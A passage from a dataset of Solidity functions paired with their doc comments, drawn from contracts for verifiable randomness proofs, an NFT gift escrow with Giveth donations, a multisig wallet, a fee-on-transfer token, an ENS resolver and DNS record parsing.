bytes32(mulmod(scalar, x, GROUP_ORDER));\r\n address actual = ecrecover(bytes32(0), v, bytes32(x), scalarTimesX);\r\n // Explicit conversion to address takes bottom 160 bits\r\n address expected = address(uint256(keccak256(abi.encodePacked(product))));\r\n return (actual == expected);\r\n }", "version": "0.6.12"} {"comment": "// p1+p2, as affine points on secp256k1.\n//\n// invZ must be the inverse of the z returned by projectiveECAdd(p1, p2).\n// It is computed off-chain to save gas.\n//\n// p1 and p2 must be distinct, because projectiveECAdd doesn't handle\n// point doubling.", "function_code": "function affineECAdd(\r\n uint256[2] memory p1,\r\n uint256[2] memory p2,\r\n uint256 invZ\r\n ) internal pure returns (uint256[2] memory) {\r\n uint256 x;\r\n uint256 y;\r\n uint256 z;\r\n (x, y, z) = projectiveECAdd(p1[0], p1[1], p2[0], p2[1]);\r\n require(mulmod(z, invZ, FIELD_SIZE) == 1, \"invZ must be inverse of z\");\r\n // Clear the z ordinate of the projective representation by dividing through\r\n // by it, to obtain the affine representation\r\n return [mulmod(x, invZ, FIELD_SIZE), mulmod(y, invZ, FIELD_SIZE)];\r\n }", "version": "0.6.12"} {"comment": "// True iff address(c*p+s*g) == lcWitness, where g is generator. (With\n// cryptographically high probability.)", "function_code": "function verifyLinearCombinationWithGenerator(\r\n uint256 c,\r\n uint256[2] memory p,\r\n uint256 s,\r\n address lcWitness\r\n ) internal pure returns (bool) {\r\n // Rule out ecrecover failure modes which return address 0.\r\n require(lcWitness != address(0), \"bad witness\");\r\n uint8 v = (p[1] % 2 == 0) ? 27 : 28; // parity of y-ordinate of p\r\n bytes32 pseudoHash = bytes32(GROUP_ORDER - mulmod(p[0], s, GROUP_ORDER)); // -s*p[0]\r\n bytes32 pseudoSignature = bytes32(mulmod(c, p[0], GROUP_ORDER)); // c*p[0]\r\n // https://ethresear.ch/t/you-can-kinda-abuse-ecrecover-to-do-ecmul-in-secp256k1-today/2384/9\r\n // The point corresponding to the address returned by\r\n // ecrecover(-s*p[0],v,p[0],c*p[0]) is\r\n // (p[0]\u207b\u00b9 mod GROUP_ORDER)*(c*p[0]-(-s)*p[0]*g)=c*p+s*g.\r\n // See https://crypto.stackexchange.com/a/18106\r\n // https://bitcoin.stackexchange.com/questions/38351/ecdsa-v-r-s-what-is-v\r\n address computed = ecrecover(pseudoHash, v, bytes32(p[0]), pseudoSignature);\r\n return computed == lcWitness;\r\n }", "version": "0.6.12"} {"comment": "// c*p1 + s*p2. Requires cp1Witness=c*p1 and sp2Witness=s*p2. Also\n// requires cp1Witness != sp2Witness (which is fine for this application,\n// since it is cryptographically impossible for them to be equal. In the\n// (cryptographically impossible) case that a prover accidentally derives\n// a proof with equal c*p1 and s*p2, they should retry with a different\n// proof nonce.) Assumes that all points are on secp256k1\n// (which is checked in verifyVORProof below.)", "function_code": "function linearCombination(\r\n uint256 c,\r\n uint256[2] memory p1,\r\n uint256[2] memory cp1Witness,\r\n uint256 s,\r\n uint256[2] memory p2,\r\n uint256[2] memory sp2Witness,\r\n uint256 zInv\r\n ) internal pure returns (uint256[2] memory) {\r\n require((cp1Witness[0] - sp2Witness[0]) % FIELD_SIZE != 0, \"points in sum must be distinct\");\r\n require(ecmulVerify(p1, c, cp1Witness), \"First multiplication check failed\");\r\n require(ecmulVerify(p2, s, sp2Witness), \"Second multiplication check failed\");\r\n return affineECAdd(cp1Witness, sp2Witness, zInv);\r\n }", "version": "0.6.12"} {"comment": "// Pseudo-random number from inputs.\n// TODO(alx): We could save a bit of gas by following the standard here and\n// using the compressed representation of the points, if we collated the y\n// parities into a single bytes32.\n// https://www.pivotaltracker.com/story/show/171120588", "function_code": "function scalarFromCurvePoints(\r\n uint256[2] memory hash,\r\n uint256[2] memory pk,\r\n uint256[2] memory gamma,\r\n address uWitness,\r\n uint256[2] memory v\r\n ) internal pure returns (uint256 s) {\r\n return\r\n uint256(\r\n keccak256(\r\n abi.encodePacked(\r\n SCALAR_FROM_CURVE_POINTS_HASH_PREFIX,\r\n hash,\r\n pk,\r\n gamma,\r\n v,\r\n uWitness\r\n )\r\n )\r\n );\r\n }", "version": "0.6.12"} {"comment": "// True if (gamma, c, s) is a correctly constructed randomness proof from pk\n// and seed. zInv must be the inverse of the third ordinate from\n// projectiveECAdd applied to cGammaWitness and sHashWitness. Corresponds to\n// section 5.3 of the IETF draft.\n//\n// TODO(alx): Since I'm only using pk in the ecrecover call, I could only pass\n// the x ordinate, and the parity of the y ordinate in the top bit of uWitness\n// (which I could make a uint256 without using any extra space.) Would save\n// about 2000 gas. https://www.pivotaltracker.com/story/show/170828567", "function_code": "function verifyVORProof(\r\n uint256[2] memory pk,\r\n uint256[2] memory gamma,\r\n uint256 c,\r\n uint256 s,\r\n uint256 seed,\r\n address uWitness,\r\n uint256[2] memory cGammaWitness,\r\n uint256[2] memory sHashWitness,\r\n uint256 zInv\r\n ) internal view {\r\n require(isOnCurve(pk), \"public key is not on curve\");\r\n require(isOnCurve(gamma), \"gamma is not on curve\");\r\n require(isOnCurve(cGammaWitness), \"cGammaWitness is not on curve\");\r\n require(isOnCurve(sHashWitness), \"sHashWitness is not on curve\");\r\n require(verifyLinearCombinationWithGenerator(c, pk, s, uWitness), \"addr(c*pk+s*g)\u2260_uWitness\");\r\n // Step 4. of IETF draft section 5.3 (pk corresponds to Y, seed to alpha_string)\r\n uint256[2] memory hash = hashToCurve(pk, seed);\r\n // Step 6. of IETF draft section 5.3, but see note for step 5 about +/- terms\r\n uint256[2] memory v =\r\n linearCombination(\r\n c,\r\n gamma,\r\n cGammaWitness,\r\n s,\r\n hash,\r\n sHashWitness,\r\n zInv\r\n );\r\n // Steps 7. and 8. of IETF draft section 5.3\r\n uint256 derivedC = scalarFromCurvePoints(hash, pk, gamma, uWitness, v);\r\n require(c == derivedC, \"invalid proof\");\r\n }", "version": "0.6.12"} {"comment": "/* ***************************************************************************\r\n * @notice Returns proof's output, if proof is valid. Otherwise reverts\r\n \r\n * @param proof A binary-encoded proof\r\n *\r\n * Throws if proof is invalid, otherwise:\r\n * @return output i.e., the random output implied by the proof\r\n * ***************************************************************************\r\n * @dev See the calculation of PROOF_LENGTH for the binary layout of proof.\r\n */", "function_code": "function randomValueFromVORProof(bytes memory proof) internal view returns (uint256 output) {\r\n require(proof.length == PROOF_LENGTH, \"wrong proof length\");\r\n\r\n uint256[2] memory pk; // parse proof contents into these variables\r\n uint256[2] memory gamma;\r\n // c, s and seed combined (prevents \"stack too deep\" compilation error)\r\n uint256[3] memory cSSeed;\r\n address uWitness;\r\n uint256[2] memory cGammaWitness;\r\n uint256[2] memory sHashWitness;\r\n uint256 zInv;\r\n\r\n (pk, gamma, cSSeed, uWitness, cGammaWitness, sHashWitness, zInv) =\r\n abi.decode(proof,\r\n (\r\n uint256[2],\r\n uint256[2],\r\n uint256[3],\r\n address,\r\n uint256[2],\r\n uint256[2],\r\n uint256\r\n )\r\n );\r\n\r\n verifyVORProof(\r\n pk,\r\n gamma,\r\n cSSeed[0], // c\r\n cSSeed[1], // s\r\n cSSeed[2], // seed\r\n uWitness,\r\n cGammaWitness,\r\n sHashWitness,\r\n zInv\r\n );\r\n\r\n output = uint256(keccak256(abi.encode(VOR_RANDOM_OUTPUT_HASH_PREFIX, gamma)));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Commits calling address to serve randomness\r\n * @param _fee minimum xFUND payment required to serve randomness\r\n * @param _oracle the address of the node with the proving key\r\n * @param _publicProvingKey public key used to prove randomness\r\n */", "function_code": "function registerProvingKey(\r\n uint256 _fee,\r\n address payable _oracle,\r\n uint256[2] calldata _publicProvingKey\r\n ) external {\r\n bytes32 keyHash = hashOfKey(_publicProvingKey);\r\n address oldVOROracle = serviceAgreements[keyHash].vOROracle;\r\n require(oldVOROracle == address(0), \"please register a new key\");\r\n require(_oracle != address(0), \"_oracle must not be 0x0\");\r\n serviceAgreements[keyHash].vOROracle = _oracle;\r\n\r\n require(_fee > 0, \"fee cannot be zero\");\r\n require(_fee <= 1e9 ether, \"fee too high\");\r\n serviceAgreements[keyHash].fee = uint96(_fee);\r\n emit NewServiceAgreement(keyHash, _fee);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Changes the provider's base fee\r\n * @param _publicProvingKey public key used to prove randomness\r\n * @param _fee minimum xFUND payment required to serve randomness\r\n */", "function_code": "function changeFee(uint256[2] calldata _publicProvingKey, uint256 _fee) external {\r\n bytes32 keyHash = hashOfKey(_publicProvingKey);\r\n require(serviceAgreements[keyHash].vOROracle == _msgSender(), \"only oracle can change the fee\");\r\n require(_fee > 0, \"fee cannot be zero\");\r\n require(_fee <= 1e9 ether, \"fee too high\");\r\n serviceAgreements[keyHash].fee = uint96(_fee);\r\n emit ChangeFee(keyHash, _fee);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Changes the provider's fee for a consumer contract\r\n * @param _publicProvingKey public key used to prove randomness\r\n * @param _fee minimum xFUND payment required to serve randomness\r\n */", "function_code": "function changeGranularFee(uint256[2] calldata _publicProvingKey, uint256 _fee, address _consumer) external {\r\n bytes32 keyHash = hashOfKey(_publicProvingKey);\r\n require(serviceAgreements[keyHash].vOROracle == _msgSender(), \"only oracle can change the fee\");\r\n require(_fee > 0, \"fee cannot be zero\");\r\n require(_fee <= 1e9 ether, \"fee too high\");\r\n serviceAgreements[keyHash].granularFees[_consumer] = uint96(_fee);\r\n emit ChangeGranularFee(keyHash, _consumer, _fee);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice creates the request for randomness\r\n *\r\n * @param _keyHash ID of the VOR public key against which to generate output\r\n * @param _consumerSeed Input to the VOR, from which randomness is generated\r\n * @param _feePaid Amount of xFUND sent with request. Must exceed fee for key\r\n *\r\n * @dev _consumerSeed is mixed with key hash, sender address and nonce to\r\n * @dev obtain preSeed, which is passed to VOR oracle, which mixes it with the\r\n * @dev hash of the block containing this request, to compute the final seed.\r\n *\r\n * @dev The requestId used to store the request data is constructed from the\r\n * @dev preSeed and keyHash.\r\n */", "function_code": "function randomnessRequest(\r\n bytes32 _keyHash,\r\n uint256 _consumerSeed,\r\n uint256 _feePaid\r\n ) external sufficientXFUND(_feePaid, _keyHash) {\r\n require(address(_msgSender()).isContract(), \"request can only be made by a contract\");\r\n\r\n xFUND.transferFrom(_msgSender(), address(this), _feePaid);\r\n\r\n uint256 nonce = nonces[_keyHash][_msgSender()];\r\n uint256 preSeed = makeVORInputSeed(_keyHash, _consumerSeed, _msgSender(), nonce);\r\n bytes32 requestId = makeRequestId(_keyHash, preSeed);\r\n\r\n // Cryptographically guaranteed by preSeed including an increasing nonce\r\n assert(callbacks[requestId].callbackContract == address(0));\r\n callbacks[requestId].callbackContract = _msgSender();\r\n\r\n assert(_feePaid < 1e27); // Total xFUND fits in uint96\r\n callbacks[requestId].randomnessFee = uint96(_feePaid);\r\n\r\n callbacks[requestId].seedAndBlockNum = keccak256(abi.encodePacked(preSeed, block.number));\r\n emit RandomnessRequest(_keyHash, preSeed, _msgSender(), _feePaid, requestId);\r\n nonces[_keyHash][_msgSender()] = nonces[_keyHash][_msgSender()].add(1);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Called by the node to fulfill requests\r\n *\r\n * @param _proof the proof of randomness. Actual random output built from this\r\n */", "function_code": "function fulfillRandomnessRequest(bytes memory _proof) public {\r\n (bytes32 currentKeyHash, Callback memory callback, bytes32 requestId, uint256 randomness) =\r\n getRandomnessFromProof(_proof);\r\n\r\n // Pay oracle\r\n address payable oracle = serviceAgreements[currentKeyHash].vOROracle;\r\n withdrawableTokens[oracle] = withdrawableTokens[oracle].add(callback.randomnessFee);\r\n\r\n // Forget request. Must precede callback (prevents reentrancy)\r\n delete callbacks[requestId];\r\n callBackWithRandomness(requestId, randomness, callback.callbackContract);\r\n\r\n emit RandomnessRequestFulfilled(requestId, randomness);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Internal function to remove a token ID from the list of a given address\r\n * This function is internal due to language limitations, see the note in ERC721.sol.\r\n * It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event,\r\n * and doesn't clear approvals.\r\n * @param from address representing the previous owner of the given token ID\r\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\r\n */", "function_code": "function _removeTokenFrom(address from, uint256 tokenId) internal {\r\n super._removeTokenFrom(from, tokenId);\r\n\r\n // To prevent a gap in the array, we store the last token in the index of the token to delete, and\r\n // then delete the last slot.\r\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\r\n uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);\r\n uint256 lastToken = _ownedTokens[from][lastTokenIndex];\r\n\r\n _ownedTokens[from][tokenIndex] = lastToken;\r\n // This also deletes the contents at the last position of the array\r\n _ownedTokens[from].length--;\r\n\r\n // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to\r\n // be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping\r\n // the lastToken to the first position, and then dropping the element placed in the last position of the list\r\n\r\n _ownedTokensIndex[tokenId] = 0;\r\n _ownedTokensIndex[lastToken] = tokenIndex;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Add Token Category for the tokenUri.\r\n *\r\n * @param _tokenUri string token URI of the category\r\n * @param _categoryId uint categoryid of the category\r\n * @param _maxQnty uint maximum quantity of tokens allowed to be minted\r\n * @param _price uint price tokens of that category will be sold at \r\n * @return True if success.\r\n */", "function_code": "function addTokenCategory(string _tokenUri, CategoryId _categoryId, uint _maxQnty, uint _price)\r\n public onlyOwner returns (bool success) {\r\n\r\n // price should be more than MIN_PRICE\r\n require(_price >= MIN_PRICE);\r\n\t \r\n // can't override existing category\r\n require(tokenCategories[_tokenUri].price == 0);\r\n \r\n tokenCategories[_tokenUri] = TokenCategory(_categoryId,\r\n\t\t\t\t\t 0, // zero tokens minted initially\r\n\t\t\t\t\t _maxQnty,\r\n\t\t\t\t\t _price);\r\n\r\n emit LogAddTokenCategory(_tokenUri, _categoryId, _maxQnty, _price);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Checks that it's possible to buy gift and mint token with the tokenURI.\r\n *\r\n * @param _tokenUri string token URI of the category\r\n * @param _transitAddress address transit address assigned to gift\r\n * @param _value uint amount of ether, that is send in tx. \r\n * @return True if success.\r\n */", "function_code": "function canBuyGift(string _tokenUri, address _transitAddress, uint _value) public view whenNotPaused returns (bool) {\r\n // can not override existing gift\r\n require(gifts[_transitAddress].status == Statuses.Empty);\r\n\r\n // eth covers NFT price\r\n TokenCategory memory category = tokenCategories[_tokenUri];\r\n require(_value >= category.price);\r\n\r\n // tokens of that type not sold out yet\r\n require(category.minted < category.maxQnty);\r\n \r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Buy gift and mint token with _tokenUri, new minted token will be kept in escrow\r\n * until receiver claims it. \r\n *\r\n * Received ether, splitted in 3 parts:\r\n * - 0.01 ETH goes to ephemeral account, so it can pay gas fee for claim transaction. \r\n * - token price (minus ephemeral account fee) goes to the Giveth Campaign as a donation. \r\n * - Eth above token price is kept in the escrow, waiting for receiver to claim. \r\n *\r\n * @param _tokenUri string token URI of the category\r\n * @param _transitAddress address transit address assigned to gift\r\n * @param _msgHash string IPFS hash, where gift message stored at \r\n * @return True if success.\r\n */", "function_code": "function buyGift(string _tokenUri, address _transitAddress, string _msgHash)\r\n payable public whenNotPaused returns (bool) {\r\n \r\n require(canBuyGift(_tokenUri, _transitAddress, msg.value));\r\n\r\n // get token price from the category for that token URI\r\n uint tokenPrice = tokenCategories[_tokenUri].price;\r\n\r\n // ether above token price is for receiver to claim\r\n uint claimEth = msg.value.sub(tokenPrice);\r\n\r\n // mint new token \r\n uint tokenId = tokensCounter.add(1);\r\n nft.mintWithTokenURI(tokenId, _tokenUri);\r\n\r\n // increment counters\r\n tokenCategories[_tokenUri].minted = tokenCategories[_tokenUri].minted.add(1);\r\n tokensCounter = tokensCounter.add(1);\r\n \r\n // saving gift details\r\n gifts[_transitAddress] = Gift(\r\n\t\t\t\t msg.sender,\r\n\t\t\t\t claimEth,\r\n\t\t\t\t tokenId,\r\n\t\t\t\t Statuses.Deposited,\r\n\t\t\t\t _msgHash\r\n\t\t\t\t );\r\n\r\n\r\n // transfer small fee to ephemeral account to fund claim txs\r\n _transitAddress.transfer(EPHEMERAL_ADDRESS_FEE);\r\n\r\n // send donation to Giveth campaign\r\n uint donation = tokenPrice.sub(EPHEMERAL_ADDRESS_FEE);\r\n if (donation > 0) {\r\n bool donationSuccess = _makeDonation(msg.sender, donation);\r\n\r\n // revert if there was problem with sending ether to GivethBridge\r\n require(donationSuccess == true);\r\n }\r\n \r\n // log buy event\r\n emit LogBuy(\r\n\t\t_transitAddress,\r\n\t\tmsg.sender,\r\n\t\t_tokenUri,\r\n\t\ttokenId,\r\n\t\tclaimEth,\r\n\t\ttokenPrice);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Send donation to Giveth campaign \r\n * by calling function 'donateAndCreateGiver' of GivethBridge contract.\r\n *\r\n * @param _giver address giver address\r\n * @param _value uint donation amount (in wei)\r\n * @return True if success.\r\n */", "function_code": "function _makeDonation(address _giver, uint _value) internal returns (bool success) {\r\n bytes memory _data = abi.encodePacked(0x1870c10f, // function signature\r\n\t\t\t\t\t bytes32(_giver),\r\n\t\t\t\t\t bytes32(givethReceiverId),\r\n\t\t\t\t\t bytes32(0),\r\n\t\t\t\t\t bytes32(0));\r\n // make donation tx\r\n success = givethBridge.call.value(_value)(_data);\r\n return success;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Get Gift assigned to transit address.\r\n *\r\n * @param _transitAddress address transit address assigned to gift\r\n * @return Gift details\r\n */", "function_code": "function getGift(address _transitAddress) public view returns (\r\n\t uint256 tokenId,\r\n\t string tokenUri,\t\t\t\t\t\t\t\t \r\n\t address sender, // gift buyer\r\n\t uint claimEth, // eth for receiver\r\n\t uint nftPrice, // token price \t \r\n\t Statuses status, // gift status (deposited, claimed, cancelled) \t\t\t\t\t\t\t\t \t \r\n\t string msgHash // IPFS hash, where gift message stored at \r\n ) {\r\n Gift memory gift = gifts[_transitAddress];\r\n tokenUri = nft.tokenURI(gift.tokenId);\r\n TokenCategory memory category = tokenCategories[tokenUri]; \r\n return (\r\n\t gift.tokenId,\r\n\t tokenUri,\r\n\t gift.sender,\r\n\t gift.claimEth,\r\n\t category.price,\t \r\n\t gift.status,\r\n\t gift.msgHash\r\n\t );\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Cancel gift and get sent ether back. Only gift buyer can\r\n * cancel.\r\n * \r\n * @param _transitAddress transit address assigned to gift\r\n * @return True if success.\r\n */", "function_code": "function cancelGift(address _transitAddress) public returns (bool success) {\r\n Gift storage gift = gifts[_transitAddress];\r\n\r\n // is deposited and wasn't claimed or cancelled before\r\n require(gift.status == Statuses.Deposited);\r\n \r\n // only sender can cancel transfer;\r\n require(msg.sender == gift.sender);\r\n \r\n // update status to cancelled\r\n gift.status = Statuses.Cancelled;\r\n\r\n // transfer optional ether to receiver's address\r\n if (gift.claimEth > 0) {\r\n gift.sender.transfer(gift.claimEth);\r\n }\r\n\r\n // send nft to buyer\r\n nft.transferFrom(address(this), msg.sender, gift.tokenId);\r\n\r\n // log cancel event\r\n emit LogCancel(_transitAddress, msg.sender, gift.tokenId);\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Claim gift to receiver's address if it is correctly signed\r\n * with private key for verification public key assigned to gift.\r\n * \r\n * @param _receiver address Signed address.\r\n * @return True if success.\r\n */", "function_code": "function claimGift(address _receiver) public whenNotPaused returns (bool success) {\r\n // only holder of ephemeral private key can claim gift\r\n address _transitAddress = msg.sender;\r\n \r\n Gift storage gift = gifts[_transitAddress];\r\n\r\n // is deposited and wasn't claimed or cancelled before\r\n require(gift.status == Statuses.Deposited);\r\n\r\n // update gift status to claimed\r\n gift.status = Statuses.Claimed;\r\n \r\n // send nft to receiver\r\n nft.transferFrom(address(this), _receiver, gift.tokenId);\r\n \r\n // transfer ether to receiver's address\r\n if (gift.claimEth > 0) {\r\n _receiver.transfer(gift.claimEth);\r\n }\r\n\r\n // log claim event\r\n emit LogClaim(_transitAddress, gift.sender, gift.tokenId, _receiver, gift.claimEth);\r\n \r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @dev Contract constructor sets owners, required number of confirmations, and recovery mode trigger.\n/// @param _owners List of owners.\n/// @param _required Number of required confirmations.\n/// @param _recoveryModeTriggerTime Time (in seconds) of inactivity before recovery mode is triggerable.", "function_code": "function MultiSigWallet(address[] _owners, uint _required, uint _recoveryModeTriggerTime)\r\n public\r\n {\r\n for (uint i=0; i<_owners.length; i++) {\r\n if (isOwner[_owners[i]] || _owners[i] == 0)\r\n revert();\r\n isOwner[_owners[i]] = true;\r\n }\r\n owners = _owners;\r\n required = _required;\r\n lastTransactionTime = block.timestamp;\r\n recoveryModeTriggerTime = _recoveryModeTriggerTime;\r\n }", "version": "0.4.16"} {"comment": "/// @dev Allows an owner to execute a confirmed transaction.\n/// @param transactionId Transaction ID.", "function_code": "function executeTransaction(uint transactionId)\r\n public\r\n ownerExists(msg.sender)\r\n notExecuted(transactionId)\r\n {\r\n if (isConfirmed(transactionId)) {\r\n Transaction storage txn = transactions[transactionId];\r\n txn.executed = true;\r\n lastTransactionTime = block.timestamp;\r\n if (txn.destination.call.value(txn.value)(txn.data))\r\n Execution(transactionId);\r\n else {\r\n ExecutionFailure(transactionId);\r\n txn.executed = false;\r\n }\r\n }\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * @dev Set the fees in the system. All the fees are in mpip, except fixedTransferFee that is in wei. Level is between 0 and 2\r\n */", "function_code": "function setFees(uint256 _dailyStorageFee, uint256 _fixedTransferFee, uint256 _dynamicTransferFee, uint256 _mintingFee, uint8 level) external onlyOwner {\r\n require(level<=2, \"Level: Please use level 0 to 2.\");\r\n dailyStorageFee[level] = _dailyStorageFee;\r\n fixedTransferFee[level] = _fixedTransferFee;\r\n dynamicTransferFee[level] = _dynamicTransferFee;\r\n mintingFee = _mintingFee;\r\n }", "version": "0.5.4"} {"comment": "/*\r\n override the internal _transfer function so that we can\r\n take the fee, and conditionally do the swap + liquditiy\r\n */", "function_code": "function _transfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal override {\r\n // is the token balance of this contract address over the min number of\r\n // tokens that we need to initiate a swap + liquidity lock?\r\n // also, don't get caught in a circular liquidity event.\r\n // also, don't swap & liquify if sender is uniswap pair.\r\n uint256 contractTokenBalance = balanceOf(address(this));\r\n bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap;\r\n if (\r\n overMinTokenBalance &&\r\n !inSwapAndLiquify &&\r\n msg.sender != uniswapV2Pair &&\r\n swapAndLiquifyEnabled\r\n ) {\r\n swapAndLiquify(contractTokenBalance);\r\n }\r\n\r\n // calculate the number of tokens to take as a fee\r\n uint256 tokensToLock = calculateTokenFee(\r\n amount,\r\n feeDecimals,\r\n feePercentage\r\n );\r\n\r\n // take the fee and send those tokens to this contract address\r\n // and then send the remainder of tokens to original recipient\r\n uint256 tokensToTransfer = amount.sub(tokensToLock);\r\n\r\n super._transfer(from, address(this), tokensToLock);\r\n super._transfer(from, to, tokensToTransfer);\r\n \r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Sets the ABI associated with an ENS node.\r\n * Nodes may have one ABI of each content type. To remove an ABI, set it to\r\n * the empty string.\r\n * @param node The node to update.\r\n * @param contentType The content type of the ABI\r\n * @param data The ABI data.\r\n */", "function_code": "function setABI(bytes32 node, uint256 contentType, bytes calldata data) external authorised(node) {\r\n // Content types must be powers of 2\r\n require(((contentType - 1) & contentType) == 0);\r\n\r\n abis[node][contentType] = data;\r\n emit ABIChanged(node, contentType);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * Returns the ABI associated with an ENS node.\r\n * Defined in EIP205.\r\n * @param node The ENS node to query\r\n * @param contentTypes A bitwise OR of the ABI formats accepted by the caller.\r\n * @return contentType The content type of the return value\r\n * @return data The ABI data\r\n */", "function_code": "function ABI(bytes32 node, uint256 contentTypes) external view returns (uint256, bytes memory) {\r\n mapping(uint256=>bytes) storage abiset = abis[node];\r\n\r\n for (uint256 contentType = 1; contentType <= contentTypes; contentType <<= 1) {\r\n if ((contentType & contentTypes) != 0 && abiset[contentType].length > 0) {\r\n return (contentType, abiset[contentType]);\r\n }\r\n }\r\n\r\n return (0, bytes(\"\"));\r\n }", "version": "0.5.12"} {"comment": "/*\r\n * @dev Returns a positive number if `other` comes lexicographically after\r\n * `self`, a negative number if it comes before, or zero if the\r\n * contents of the two bytes are equal. Comparison is done per-rune,\r\n * on unicode codepoints.\r\n * @param self The first bytes to compare.\r\n * @param offset The offset of self.\r\n * @param len The length of self.\r\n * @param other The second bytes to compare.\r\n * @param otheroffset The offset of the other string.\r\n * @param otherlen The length of the other string.\r\n * @return The result of the comparison.\r\n */", "function_code": "function compare(bytes memory self, uint offset, uint len, bytes memory other, uint otheroffset, uint otherlen) internal pure returns (int) {\r\n uint shortest = len;\r\n if (otherlen < len)\r\n shortest = otherlen;\r\n\r\n uint selfptr;\r\n uint otherptr;\r\n\r\n assembly {\r\n selfptr := add(self, add(offset, 32))\r\n otherptr := add(other, add(otheroffset, 32))\r\n }\r\n for (uint idx = 0; idx < shortest; idx += 32) {\r\n uint a;\r\n uint b;\r\n assembly {\r\n a := mload(selfptr)\r\n b := mload(otherptr)\r\n }\r\n if (a != b) {\r\n // Mask out irrelevant bytes and check again\r\n uint mask;\r\n if (shortest > 32) {\r\n mask = uint256(- 1); // aka 0xffffff....\r\n } else {\r\n mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r\n }\r\n uint diff = (a & mask) - (b & mask);\r\n if (diff != 0)\r\n return int(diff);\r\n }\r\n selfptr += 32;\r\n otherptr += 32;\r\n }\r\n\r\n return int(len) - int(otherlen);\r\n }", "version": "0.5.12"} {"comment": "/*\r\n * @dev Returns the n byte value at the specified index of self.\r\n * @param self The byte string.\r\n * @param idx The index into the bytes.\r\n * @param len The number of bytes.\r\n * @return The specified 32 bytes of the string.\r\n */", "function_code": "function readBytesN(bytes memory self, uint idx, uint len) internal pure returns (bytes32 ret) {\r\n require(len <= 32);\r\n require(idx + len <= self.length);\r\n assembly {\r\n let mask := not(sub(exp(256, sub(32, len)), 1))\r\n ret := and(mload(add(add(self, 32), idx)), mask)\r\n }\r\n }", "version": "0.5.12"} {"comment": "/*\r\n * @dev Copies a substring into a new byte string.\r\n * @param self The byte string to copy from.\r\n * @param offset The offset to start copying at.\r\n * @param len The number of bytes to copy.\r\n */", "function_code": "function substring(bytes memory self, uint offset, uint len) internal pure returns(bytes memory) {\r\n require(offset + len <= self.length);\r\n\r\n bytes memory ret = new bytes(len);\r\n uint dest;\r\n uint src;\r\n\r\n assembly {\r\n dest := add(ret, 32)\r\n src := add(add(self, 32), offset)\r\n }\r\n memcpy(dest, src, len);\r\n\r\n return ret;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Returns the number of bytes in the DNS name at 'offset' in 'self'.\r\n * @param self The byte array to read a name from.\r\n * @param offset The offset to start reading at.\r\n * @return The length of the DNS name at 'offset', in bytes.\r\n */", "function_code": "function nameLength(bytes memory self, uint offset) internal pure returns(uint) {\r\n uint idx = offset;\r\n while (true) {\r\n assert(idx < self.length);\r\n uint labelLen = self.readUint8(idx);\r\n idx += labelLen + 1;\r\n if (labelLen == 0) {\r\n break;\r\n }\r\n }\r\n return idx - offset;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Moves the iterator to the next resource record.\r\n * @param iter The iterator to advance.\r\n */", "function_code": "function next(RRIterator memory iter) internal pure {\r\n iter.offset = iter.nextOffset;\r\n if (iter.offset >= iter.data.length) {\r\n return;\r\n }\r\n\r\n // Skip the name\r\n uint off = iter.offset + nameLength(iter.data, iter.offset);\r\n\r\n // Read type, class, and ttl\r\n iter.dnstype = iter.data.readUint16(off);\r\n off += 2;\r\n iter.class = iter.data.readUint16(off);\r\n off += 2;\r\n iter.ttl = iter.data.readUint32(off);\r\n off += 4;\r\n\r\n // Read the rdata\r\n uint rdataLength = iter.data.readUint16(off);\r\n off += 2;\r\n iter.rdataOffset = off;\r\n iter.nextOffset = off + rdataLength;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Checks if a given RR type exists in a type bitmap.\r\n * @param self The byte string to read the type bitmap from.\r\n * @param offset The offset to start reading at.\r\n * @param rrtype The RR type to check for.\r\n * @return True if the type is found in the bitmap, false otherwise.\r\n */", "function_code": "function checkTypeBitmap(bytes memory self, uint offset, uint16 rrtype) internal pure returns (bool) {\r\n uint8 typeWindow = uint8(rrtype >> 8);\r\n uint8 windowByte = uint8((rrtype & 0xff) / 8);\r\n uint8 windowBitmask = uint8(uint8(1) << (uint8(7) - uint8(rrtype & 0x7)));\r\n for (uint off = offset; off < self.length;) {\r\n uint8 window = self.readUint8(off);\r\n uint8 len = self.readUint8(off + 1);\r\n if (typeWindow < window) {\r\n // We've gone past our window; it's not here.\r\n return false;\r\n } else if (typeWindow == window) {\r\n // Check this type bitmap\r\n if (len * 8 <= windowByte) {\r\n // Our type is past the end of the bitmap\r\n return false;\r\n }\r\n return (self.readUint8(off + windowByte + 2) & windowBitmask) != 0;\r\n } else {\r\n // Skip this type bitmap\r\n off += len + 2;\r\n }\r\n }\r\n\r\n return false;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * Set one or more DNS records. Records are supplied in wire-format.\r\n * Records with the same node/name/resource must be supplied one after the\r\n * other to ensure the data is updated correctly. For example, if the data\r\n * was 